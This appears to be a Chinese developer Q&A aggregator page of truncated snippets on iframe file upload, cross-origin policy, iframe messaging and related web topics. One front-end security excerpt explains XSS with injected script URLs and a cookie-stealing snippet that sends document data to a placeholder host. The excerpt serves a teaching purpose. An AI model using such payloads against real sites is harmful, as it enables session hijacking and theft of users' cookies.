iframe

Ajax_iframe文件上传

ぐ巨炮叔叔 提交于 2020-02-06 16:27:30
Ajax_iframe文件上传 2015-02-01 12:00 js 无法实现 文件的上传几种伪装 iframe伪装,jquery.uploaded-file swf插件 html5 前两种只是一种模拟无刷新的效果 第一种:Iframe实现文件上传 IframeFileUp.php: <?php if ( empty ( $_FILES )){ exit ( 'no file' ); } $error = $_FILES [ 'pic' ][ 'error' ] == 0 ? ' 文件上传成功 ' : ' 文件上传失败 ' ; // 上传成功 echo "<script>parent.document.getElementsByTagName('h2')[0].innerHTML = ' $error '</script>" ; ?> IframeFileUp.html: <html> <head> <title> iframe 文件上传 </title> <script type = "text/javascript" src = "./jquery.min.js" ></script> <script type = "text/javascript" > /* 分析: 1. 捕捉表单提交的动作 2. 创建一个 iframe 3 。把表单的 target 指向该 iframe

跨域与防止表单重复提交

为君一笑 提交于 2020-02-06 15:19:46
什么是跨域? 跨域是指一个域下的文档或脚本试图去请求另一个域下的资源,这里跨域是广义的。 广义的跨域: 1.) 资源跳转: A链接、重定向、表单提交 2.) 资源嵌入: <link>、<script>、<img>、<frame>等dom标签,还有样式中background:url()、@font-face()等文件外链 3.) 脚本请求: js发起的ajax请求、dom和js对象的跨域操作等 其实我们通常所说的跨域是狭义的,是由浏览器同源策略限制的一类请求场景。 什么是同源策略? 同源策略/SOP(Same origin policy)是一种约定,由Netscape公司1995年引入浏览器,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,浏览器很容易受到XSS、CSFR等攻击。所谓同源是指"协议+域名+端口"三者相同,即便两个不同的域名指向同一个ip地址,也非同源。 同源策略限制以下几种行为: 1.) Cookie、LocalStorage 和 IndexDB 无法读取 2.) DOM 和 Js对象无法获得 3.) AJAX 请求不能发送 常见跨域场景 URL 说明 是否允许通信 http://www.domain.com/a.js http://www.domain.com/b.js 同一域名,不同文件或路径 允许 http://www.domain.com/lab/c

不用爬虫,也能写一个聚合搜索引擎

ぃ、小莉子 提交于 2020-02-06 08:37:59
你是否有过这种体验?遇到一个技术问题或一个关键词,一遍遍google、baidu、知乎……、 一遍遍输入、一遍遍搜索,以求获取最佳结果 。 太累,这两天实在受不了,就在想有没有一个网站, 有个类似百度或谷歌的输入框,输入一次,把我们关心的各个搜索引擎的结果都展示出来 呢?寻觅未果(找到的不是不能用就是不符合自己需要) so,既然没有轮子, 那就自己写一个吧 。 写这种聚合类型网站,首先想到的当然是爬虫啦,不过爬虫还得依赖服务器,手头没有(穷)怎么破?没关系,那我们就用 纯前端 的方式去做, 互联网上有很多免费的空间 。这里我们选择coding.net提供的免费page服务,可以放一些静态资源,当然你选择github也是可以的,不过速度相对会比较慢。而后我又去Freenom注册了一个免费域名:) https://www.moresearch.ga/ 就叫「 猫搜 」,猫搜一下,给你更多结果。 万事俱备,只欠东风。接下来就是代码时刻啦~ 先看下最终效果图: 噔!噔!噔! 对,就这么一个简单页面就可以满足我们需求了。别看它看似简单(刚开始我也是这么想的),后来我可是 趟了很多坑 。😓 1. 准备搜索引擎链接地址 类似 https://www.baidu.com/s?wd={query} 这种,使用{query}代表一个变量,即你要搜索的关键词,替换之后访问链接即可拿到搜索的结果。

jQuery Click Tracking not working on iFrame

与世无争的帅哥 提交于 2020-02-06 05:09:10
问题 First, here is my code: <script type="text/javascript"> $('#Advertisement-1').click(function () { alert("Ad Clicked!"); }); </script> <div id="Advertisement-1"> <!-- PBBG Ads Zone Code Begin --> <center> <iframe src='http://www.pbbgads.com/ad.php?z=429&bg=000000' width='468' height='67' marginwidth='0' marginheight='0' hspace='0' vspace='0' frameborder='0' scrolling='no'></iframe> </center> <!-- PBBG Ads Zone Code End --> </div> Now, my issue is when I click the ad, it doesn't send an alert.

web前端安全

假装没事ソ 提交于 2020-02-05 16:05:26
1. xss: cross site scripting,跨站脚本攻击。 1.1 定义: 指的是通过存在安全漏洞的web网站注册用户的浏览器内运行非法的非本站点HTML标签或js进行的一种攻击方式。 1.2 影响: 利用虚假输入表单骗取用户个人信息。利用脚本窃取用户cookie值,帮助攻击者发送恶意请求(如伪造文章或者图片)。 1.3 案例: 1.3.1 反射型:url参数直接注入,案例如下: //1. 正常网站发送请求:参数from=Ace 窗口输入:https://xxx.com/api?from=Ace //2. 尝试xss攻击:js修改弹出弹窗alert() 窗口输入:https://xxx.com/api?from=<script>alert('尝试在当前页面修改js攻击是否成功')</script> //3. 如果尝试xss攻击成功,可以弹出弹窗,则可以尝试用xss获取用户cookie:即执行指定攻击的js代码 窗口输入:https://xxx.com/api?from=<script scr='https://xxx.com/hack.js'></script> //4. 在https://xxx.com/hack.js代码中:获取cookie var img=new Image() img.src='https://xx.com/img?c='+document

IFrame and Parent window

早过忘川 提交于 2020-02-05 10:48:12
问题 Can an iframe install a cookie or session on the parent page? How do i get value in an iframe to the parent page without using Ajax? I am trying to pass an Id value from the iframe to the parent page and then submit it. 回答1: From within your iframe, you can reference the parent document using parent.document . If you had an input field in your parent window and wanted to set a value on it without using AJAX, you should simply be able to do the following using JavaScript: parent.document

IFrame and Parent window

☆樱花仙子☆ 提交于 2020-02-05 10:45:40
问题 Can an iframe install a cookie or session on the parent page? How do i get value in an iframe to the parent page without using Ajax? I am trying to pass an Id value from the iframe to the parent page and then submit it. 回答1: From within your iframe, you can reference the parent document using parent.document . If you had an input field in your parent window and wanted to set a value on it without using AJAX, you should simply be able to do the following using JavaScript: parent.document

Scraping table within iframe using R rvest library

℡╲_俬逩灬. 提交于 2020-02-05 05:32:05
问题 I am decent with R's rvest library for scraping websites, but am struggling with something new. From this webpage - http://www.naia.org/ViewArticle.dbml?ATCLID=205323044 - I am trying to scrape the main table of colleges. Here is what my code looks like currently: NAIA_url = "http://www.naia.org/ViewArticle.dbml?ATCLID=205323044" NAIA_page = read_html(NAIA_url) tables = html_table(html_nodes(NAIA_page, 'table')) # tables returns a length-2 list, however neither of these tables are the table I

Print functionality in Angularjs for iframe

自闭症网瘾萝莉.ら 提交于 2020-02-05 04:25:08
问题 I have to print a specific file which is in iframe . My view_file.ejs: <div id="viewframe"> <iframe id="viewfile" name="viewfile" src='https://docs.google.com/viewer?url=<%= urlencode.encode(img) %>&embedded=true' style="width: 100%;height:900px" frameborder="0" scrolling="no" seamless="" allowfullscreen="allowfullscreen"> </iframe> </div> Here img(which is a variable i have used inside urlencode.encode) is a link from aws s3 bucket Print button: <div class="right_blk"> <span class="versions"

Why does OneDrive js picker sometimes have null opener

回眸只為那壹抹淺笑 提交于 2020-02-05 03:57:05
问题 I am trying to integrate the OneDrive picker with our web application and after reading Nick's answer to this question on 10/02/2015 have chosen the route of using an iframe and utilizing postMessage. So after inserting the iframe with a button to open the OneDrive Picker and selecting a file, the popup window persists with just a spinner icon and there is an error in the console r is null . I know that, given this question having a form can cause this issue and I removed the form in the page